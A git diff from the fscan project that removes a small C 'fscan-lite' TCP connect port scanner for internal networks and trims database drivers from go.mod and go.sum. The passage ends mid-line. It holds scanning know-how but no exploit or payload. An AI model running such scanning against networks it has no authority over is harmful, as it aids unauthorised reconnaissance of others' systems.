a/fscan-lite/include/platform.h +++ /dev/null @@ -1,156 +0,0 @@ -#ifndef PLATFORM_H -#define PLATFORM_H - -/* - * platform.h - 极致兼容性的平台抽象层 - * - * 支持范围: - * Windows: 98/ME/NT4/2000/XP/Vista/7/8/10/11 - * Linux: glibc 2.3+ (2003年后的所有发行版) - * 编译器: MSVC 6.0+, GCC 3.0+, Clang 3.0+ - */ - -/* C89兼容性 - 最古老但最可靠的标准 */ -#ifndef __STDC__ -#define __STDC__ 1 -#endif - -/* 平台检测 */ -#ifdef _WIN32 - #define PLATFORM_WINDOWS - #ifdef _WIN64 - #define PLATFORM_WIN64 - #else - #define PLATFORM_WIN32 - #endif -#else - #define PLATFORM_UNIX - #ifdef __linux__ - #define PLATFORM_LINUX - #elif defined(__APPLE__) - #define PLATFORM_MACOS - #endif -#endif - -/* Windows头文件包含 - 兼容Win98 */ -#ifdef PLATFORM_WINDOWS - /* 定义最低Windows版本 - Win98 */ - #ifndef _WIN32_WINNT - #define _WIN32_WINNT 0x0410 /* Windows 98 */ - #endif - #ifndef WINVER - #define WINVER 0x0410 - #endif - - /* 必须先包含winsock2.h,否则windows.h会包含旧版winsock.h导致冲突 */ - #include - #include - - /* 老版本Windows兼容性 */ - #ifdef _MSC_VER - #if _MSC_VER < 1300 /* MSVC 6.0 */ - #pragma comment(lib, "wsock32.lib") - #else - #pragma comment(lib, "ws2_32.lib") - #endif - #endif - - /* Windows类型定义 */ - typedef SOCKET socket_t; - typedef int socklen_t; - #define INVALID_SOCKET_VALUE INVALID_SOCKET - #define close_socket closesocket - #define socket_errno WSAGetLastError() - - /* Windows错误码转换 - 使用ifndef避免与errno.h冲突 */ - #ifndef EWOULDBLOCK - #define EWOULDBLOCK WSAEWOULDBLOCK - #endif - #ifndef EINPROGRESS - #define EINPROGRESS WSAEINPROGRESS - #endif - #ifndef ECONNREFUSED - #define ECONNREFUSED WSAECONNREFUSED - #endif - -#else - /* Unix/Linux头文件 */ - #include - #include - #include - #include - #include - #include - #include - #include - - /* Unix类型定义 */ - typedef int socket_t; - #define INVALID_SOCKET_VALUE (-1) - #define close_socket close - #define socket_errno errno - -#endif - -/* 标准C头文件 */ -#include -#include -#include -#include - -/* 线程抽象 - 最简单的实现 */ -#ifdef PLATFORM_WINDOWS - typedef HANDLE thread_t; - typedef DWORD thread_id_t; - typedef unsigned (__stdcall *thread_func_t)(void *); - - #define CREATE_THREAD(func, arg) \ - (HANDLE)_beginthreadex(NULL, 0, (thread_func_t)(func), (arg), 0, NULL) - #define WAIT_THREAD(handle) WaitForSingleObject((handle), INFINITE) - #define CLOSE_THREAD(handle) CloseHandle(handle) - -#else - #include - #include - typedef pthread_t thread_t; - typedef pthread_t thread_id_t; - typedef void* (*thread_func_t)(void *); - - #define CREATE_THREAD(func, arg) ({ \ - pthread_t t; \ - pthread_create(&t, NULL, (thread_func_t)(func), (arg)) == 0 ? t : 0; \ - }) - #define WAIT_THREAD(handle) pthread_join((handle), NULL) - #define CLOSE_THREAD(handle) /* pthread handles are auto-cleaned */ - -#endif - -/* 时间函数抽象 */ -#ifdef PLATFORM_WINDOWS - #define sleep_ms(ms) Sleep(ms) -#else - #define sleep_ms(ms) usleep((ms) * 1000) -#endif - -/* 编译器特定定义 */ -#ifdef _MSC_VER - /* MSVC特定 */ - #define snprintf _snprintf - #define vsnprintf _vsnprintf - #define strcasecmp _stricmp - #define strncasecmp _strnicmp -#endif - -/* 常用常量 */ -#define MAX_HOST_LEN 256 -#define MAX_PORT_COUNT 65536 -#define DEFAULT_TIMEOUT 3 -#define DEFAULT_THREAD_COUNT 100 - -/* 函数声明 */ -int platform_init(void); -void platform_cleanup(void); -int set_socket_timeout(socket_t sock, int timeout_seconds); -int make_socket_nonblocking(socket_t sock); - -#endif /* PLATFORM_H */ \ No newline at end of file diff --git a/fscan-lite/src/main.c b/fscan-lite/src/main.c deleted file mode 100644 index 5b1a268..0000000 --- a/fscan-lite/src/main.c +++ /dev/null @@ -1,120 +0,0 @@ -/* - * main.c - fscan-lite 主程序 - * - * 极简的TCP内网端口扫描器 - * 目标:最大兼容性,最小复杂度 - */ - -#include "../include/platform.h" - -/* 函数声明 */ -int tcp_connect_test(const char* host, int port, int timeout); -int scan_host_ports(const char* host, const int* ports, int port_count, int timeout); -int parse_ports(const char* port_str, int* ports, int max_ports); -int parse_hosts(const char* host_str, char hosts[][MAX_HOST_LEN], int max_hosts); - -/* 显示版本信息 */ -void show_version(void) { - printf("fscan-lite v1.0 - Lightweight TCP Port Scanner\n"); - printf("Built for maximum compatibility (Windows 98 - Windows 11, Linux glibc 2.3+)\n"); - printf("Copyright (c) 2024\n"); -} - -/* 显示使用帮助 */ -void show_usage(const char* program_name) { - printf("Usage: %s [OPTIONS]\n", program_name); - printf("\n"); - printf("Options:\n"); - printf(" -h HOST Target host (IP address)\n"); - printf(" -p PORTS Ports to scan (e.g. 80,443 or 1-1000)\n"); - printf(" -t TIMEOUT Connection timeout in seconds (default: 3)\n"); - printf(" --help Show this help message\n"); - printf(" --version Show version information\n"); - printf("\n"); - printf("Examples:\n"); - printf(" %s -h 192.168.1.1 -p 22,80,443\n", program_name); - printf(" %s -h 10.0.0.1 -p 1-1000 -t 2\n", program_name); - printf("\n"); -} - -/* 主函数 */ -int main(int argc, char* argv[]) { - char* target_host = NULL; - char* port_string = NULL; - int timeout = DEFAULT_TIMEOUT; - int ports[1000]; /* 支持最多1000个端口 */ - int port_count = 0; - int i; - int result; - - /* 参数解析 */ - for (i = 1; i < argc; i++) { - if (strcmp(argv[i], "-h") == 0 && i + 1 < argc) { - target_host = argv[++i]; - } - else if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) { - port_string = argv[++i]; - } - else if (strcmp(argv[i], "-t") == 0 && i + 1 < argc) { - timeout = atoi(argv[++i]); - if (timeout <= 0) timeout = DEFAULT_TIMEOUT; - } - else if (strcmp(argv[i], "--help") == 0) { - show_usage(argv[0]); - return 0; - } - else if (strcmp(argv[i], "--version") == 0) { - show_version(); - return 0; - } - else { - printf("Unknown option: %s\n", argv[i]); - show_usage(argv[0]); - return 1; - } - } - - /* 验证必需参数 */ - if (!target_host) { - printf("Error: Target host (-h) is required\n"); - show_usage(argv[0]); - return 1; - } - - if (!port_string) { - printf("Error: Ports (-p) are required\n"); - show_usage(argv[0]); - return 1; - } - - /* 初始化平台 */ - if (platform_init() != 0) { - printf("Error: Failed to initialize platform\n"); - return 1; - } - - /* 解析端口 */ - port_count = parse_ports(port_string, ports, sizeof(ports) / sizeof(ports[0])); - if (port_count == 0) { - printf("Error: No valid ports specified\n"); - platform_cleanup(); - return 1; - } - - printf("fscan-lite - Starting scan\n"); - printf("Target: %s\n", target_host); - printf("Ports: %d ports to scan\n", port_count); - printf("Timeout: %d seconds\n", timeout); - printf("=================================\n"); - - /* 执行扫描 */ - result = scan_host_ports(target_host, ports, port_count, timeout); - - printf("=================================\n"); - printf("Scan completed: %d open ports found\n", result); - - /* 清理资源 */ - platform_cleanup(); - - return 0; -} \ No newline at end of file diff --git a/fscan-lite/src/platform.c b/fscan-lite/src/platform.c deleted file mode 100644 index 8d280f2..0000000 --- a/fscan-lite/src/platform.c +++ /dev/null @@ -1,111 +0,0 @@ -/* - * platform.c - 平台抽象层实现 - * - * 实现最基础但最可靠的平台相关功能 - */ - -#include "../include/platform.h" - -/* 全局初始化标志 */ -static int platform_initialized = 0; - -/* - * 平台初始化 - * Windows: 初始化Winsock - * Unix: 无需特殊初始化 - */ -int platform_init(void) { - if (platform_initialized) { - return 0; - } - -#ifdef PLATFORM_WINDOWS - WSADATA wsaData; - int result; - - /* 初始化Winsock - 请求版本2.0,兼容Win98 */ - result = WSAStartup(MAKEWORD(2, 0), &wsaData); - if (result != 0) { - /* 如果2.0失败,尝试1.1(Win95/NT兼容) */ - result = WSAStartup(MAKEWORD(1, 1), &wsaData); - if (result != 0) { - return -1; - } - } -#endif - - platform_initialized = 1; - return 0; -} - -/* - * 平台清理 - */ -void platform_cleanup(void) { - if (!platform_initialized) { - return; - } - -#ifdef PLATFORM_WINDOWS - WSACleanup(); -#endif - - platform_initialized = 0; -} - -/* - * 设置socket超时 - * 兼容所有平台的最可靠方法 - */ -int set_socket_timeout(socket_t sock, int timeout_seconds) { -#ifdef PLATFORM_WINDOWS - DWORD timeout_ms = timeout_seconds * 1000; - - if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, - (char*)&timeout_ms, sizeof(timeout_ms)) != 0) { - return -1; - } - - if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, - (char*)&timeout_ms, sizeof(timeout_ms)) != 0) { - return -1; - } -#else - struct timeval tv; - tv.tv_sec = timeout_seconds; - tv.tv_usec = 0; - - if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, - (void*)&tv, sizeof(tv)) != 0) { - return -1; - } - - if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, - (void*)&tv, sizeof(tv)) != 0) { - return -1; - } -#endif - - return 0; -} - -/* - * 设置socket为非阻塞模式 - * 跨平台兼容实现 - */ -int make_socket_nonblocking(socket_t sock) { -#ifdef PLATFORM_WINDOWS - u_long mode = 1; - return ioctlsocket(sock, FIONBIO, &mode); -#else - int flags; - - flags = fcntl(sock, F_GETFL, 0); - if (flags == -1) { - return -1; - } - - flags |= O_NONBLOCK; - return fcntl(sock, F_SETFL, flags); -#endif -} \ No newline at end of file diff --git a/fscan-lite/src/scanner.c b/fscan-lite/src/scanner.c deleted file mode 100644 index 87f8cec..0000000 --- a/fscan-lite/src/scanner.c +++ /dev/null @@ -1,164 +0,0 @@ -/* - * scanner.c - 核心TCP端口扫描实现 - * - * 极简但可靠的端口扫描逻辑,专注于内网环境 - */ - -#include "../include/platform.h" - -/* - * 基础TCP连接测试 - * 返回: 1=端口开放, 0=端口关闭, -1=错误 - */ -int tcp_connect_test(const char* host, int port, int timeout) { - socket_t sock; - struct sockaddr_in addr; - int result; - - /* 参数验证 */ - if (!host || port <= 0 || port > 65535) { - return -1; - } - - /* 创建socket */ - sock = socket(AF_INET, SOCK_STREAM, 0); - if (sock == INVALID_SOCKET_VALUE) { - return -1; - } - - /* 设置超时 */ - if (set_socket_timeout(sock, timeout) != 0) { - close_socket(sock); - return -1; - } - - /* 设置目标地址 */ - memset(&addr, 0, sizeof(addr)); - addr.sin_family = AF_INET; - addr.sin_port = htons((unsigned short)port); - - /* 转换IP地址 */ - addr.sin_addr.s_addr = inet_addr(host); - if (addr.sin_addr.s_addr == INADDR_NONE) { - /* 如果不是有效IP,当作域名处理 */ - struct hostent* he; - he = gethostbyname(host); - if (!he) { - close_socket(sock); - return -1; - } - memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); - } - - /* 执行连接测试 */ - result = connect(sock, (struct sockaddr*)&addr, sizeof(addr)); - - /* 关闭socket */ - close_socket(sock); - - /* 返回结果 */ - return (result == 0) ? 1 : 0; -} - -/* - * 扫描单个主机的多个端口 - */ -int scan_host_ports(const char* host, const int* ports, int port_count, int timeout) { - int i; - int open_count = 0; - - if (!host || !ports || port_count <= 0) { - return 0; - } - - printf("Scanning %s...\n", host); - - for (i = 0; i < port_count; i++) { - int result = tcp_connect_test(host, ports[i], timeout); - - if (result == 1) { - printf("%s:%d open\n", host, ports[i]); - open_count++; - } else if (result == -1) { - /* 静默处理错误,继续扫描 */ - } - - /* 简单的进度指示 */ - if ((i + 1) % 100 == 0 || i == port_count - 1) { - printf("Progress: %d/%d ports scanned\n", i + 1, port_count); - } - } - - return open_count; -} - -/* - * 解析端口范围字符串 - * 支持: "80", "80,443", "1-1000", "80,443,8000-8080" - */ -int parse_ports(const char* port_str, int* ports, int max_ports) { - char* str_copy; - char* token; - int count = 0; - - if (!port_str || !ports || max_ports <= 0) { - return 0; - } - - /* 复制字符串以便修改 */ - str_copy = malloc(strlen(port_str) + 1); - if (!str_copy) { - return 0; - } - strcpy(str_copy, port_str); - - /* 使用strtok(兼容性更好) */ - token = strtok(str_copy, ","); - - while (token && count < max_ports) { - char* dash = strchr(token, '-'); - - if (dash) { - /* 处理范围 "start-end" */ - int start, end, i; - *dash = '\0'; - start = atoi(token); - end = atoi(dash + 1); - - if (start > 0 && end > 0 && start <= end && end <= 65535) { - for (i = start; i <= end && count < max_ports; i++) { - ports[count++] = i; - } - } - } else { - /* 处理单个端口 */ - int port = atoi(token); - if (port > 0 && port <= 65535) { - ports[count++] = port; - } - } - - token = strtok(NULL, ","); - } - - free(str_copy); - return count; -} - -/* - * 简单的IP范围解析 - * 目前只支持单个IP,后续可扩展 - */ -int parse_hosts(const char* host_str, char hosts[][MAX_HOST_LEN], int max_hosts) { - if (!host_str || !hosts || max_hosts <= 0) { - return 0; - } - - /* 目前简化实现:只处理单个主机 */ - if (strlen(host_str) < MAX_HOST_LEN) { - strcpy(hosts[0], host_str); - return 1; - } - - return 0; -} \ No newline at end of file diff --git a/go.mod b/go.mod index 50fc9a0..614d15e 100644 --- a/go.mod +++ b/go.mod @@ -3,13 +3,11 @@ module github.com/shadow1ng/fscan go 1.20 require ( - github.com/IBM/sarama v1.43.3 - github.com/denisenkom/go-mssqldb v0.12.3 github.com/fatih/color v1.18.0 github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-sql-driver/mysql v1.8.1 - github.com/gocql/gocql v1.7.0 github.com/google/cel-go v0.13.0 + github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.3 github.com/hirochachacha/go-smb2 v1.1.0 github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 @@ -21,11 +19,9 @@ require ( github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed github.com/nicksnyder/go-i18n/v2 v2.4.0 github.com/panjf2000/ants/v2 v2.11.3 - github.com/satori/go.uuid v1.2.0 - github.com/sijms/go-ora/v2 v2.9.0 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 + github.com/tjfoc/gmsm v1.4.1 go.ciq.dev/go-rsync v0.0.0-20240304021629-0a3bb196e6d1 - go.mongodb.org/mongo-driver v1.17.4 golang.org/x/crypto v0.31.0 golang.org/x/net v0.32.0 golang.org/x/sys v0.28.0 @@ -42,17 +38,8 @@ require ( github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect - github.com/davecgh/go-spew v1.1.1 // indirect - github.com/eapache/go-resiliency v1.7.0 // indirect - github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect - github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect - github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect - github.com/golang-sql/sqlexp v0.1.0 // indirect - github.com/golang/snappy v0.0.4 // indirect - github.com/google/uuid v1.6.0 // indirect - github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect @@ -63,19 +50,12 @@ require ( github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166 // indirect - github.com/klauspost/compress v1.17.9 // indirect + github.com/kr/pretty v0.3.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect - github.com/montanaflynn/stats v0.7.1 // indirect - github.com/pierrec/lz4/v4 v4.1.21 // indirect github.com/pkg/errors v0.9.1 // indirect - github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect github.com/rogpeppe/go-internal v1.12.0 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect - github.com/xdg-go/pbkdf2 v1.0.0 // indirect - github.com/xdg-go/scram v1.1.2 // indirect - github.com/xdg-go/stringprep v1.0.4 // indirect - github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect golang.org/x/sync v0.11.0 // indirect - gopkg.in/inf.v0 v0.9.1 // indirect + gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect ) diff --git a/go.sum b/go.sum index 7000614..acbe998 100644 --- a/go.sum +++ b/go.sum @@ -1,36 +1,26 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= -github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0= -github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8= -github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= -github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY= -github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY= -github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k= -github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= -github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/denisenkom/go-mssqldb v0.12.3 h1:pBSGx9Tq67pBOTLmxNuirNTeB8Vjmf886Kx+8Y+8shw= -github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDrorD1Vrm1KEz5hxDo= -github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= -github.com/eapache/go-resiliency v1.7.0 h1:n3NRTnBn5N0Cbi/IeOHuQn9s2UwVUH7Ga0ZWcP+9JTA= -github.com/eapache/go-resiliency v1.7.0/go.mod h1:5yPzW0MIvSe0JDsv0v+DvcjEv2FyD6iZYSs1ZI+iQho= -github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 h1:Oy0F4ALJ04o5Qqpdz8XLIpNA3WM/iSIXqxtqo7UGVws= -github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3/go.mod h1:YvSRo5mw33fLEx1+DlK6L2VV43tJt5Eyel9n9XBcR+0= -github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc= -github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= -github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk= @@ -39,18 +29,24 @@ github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= -github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus= -github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4= -github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY= -github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= -github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= -github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= -github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/cel-go v0.13.0 h1:z+8OBOcmh7IeKyqwT/6IlnMvy621fYUqnTVPEdegGlU= github.com/google/cel-go v0.13.0/go.mod h1:K2hpQgEjDp18J76a2DKFRlPBPpgRZgi6EbnpDgIhJ8s= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= @@ -62,8 +58,6 @@ github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7Fsg github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8= -github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4= github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= @@ -95,13 +89,14 @@ github.com/juju/ratelimit v1.0.2 h1:sRxmtRiajbvrcLQT7S+JbqU0ntsb9W2yhSdNN8tWfaI= github.com/juju/ratelimit v1.0.2/go.mod h1:qapgC/Gy+xNh9UxzV13HGGl/6UXNN+ct+vwSgWNm/qk= github.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166 h1:IAukUBAVLUWBcexOYgkTD/EjMkfnNos7g7LFpyIdHJI= github.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166/go.mod 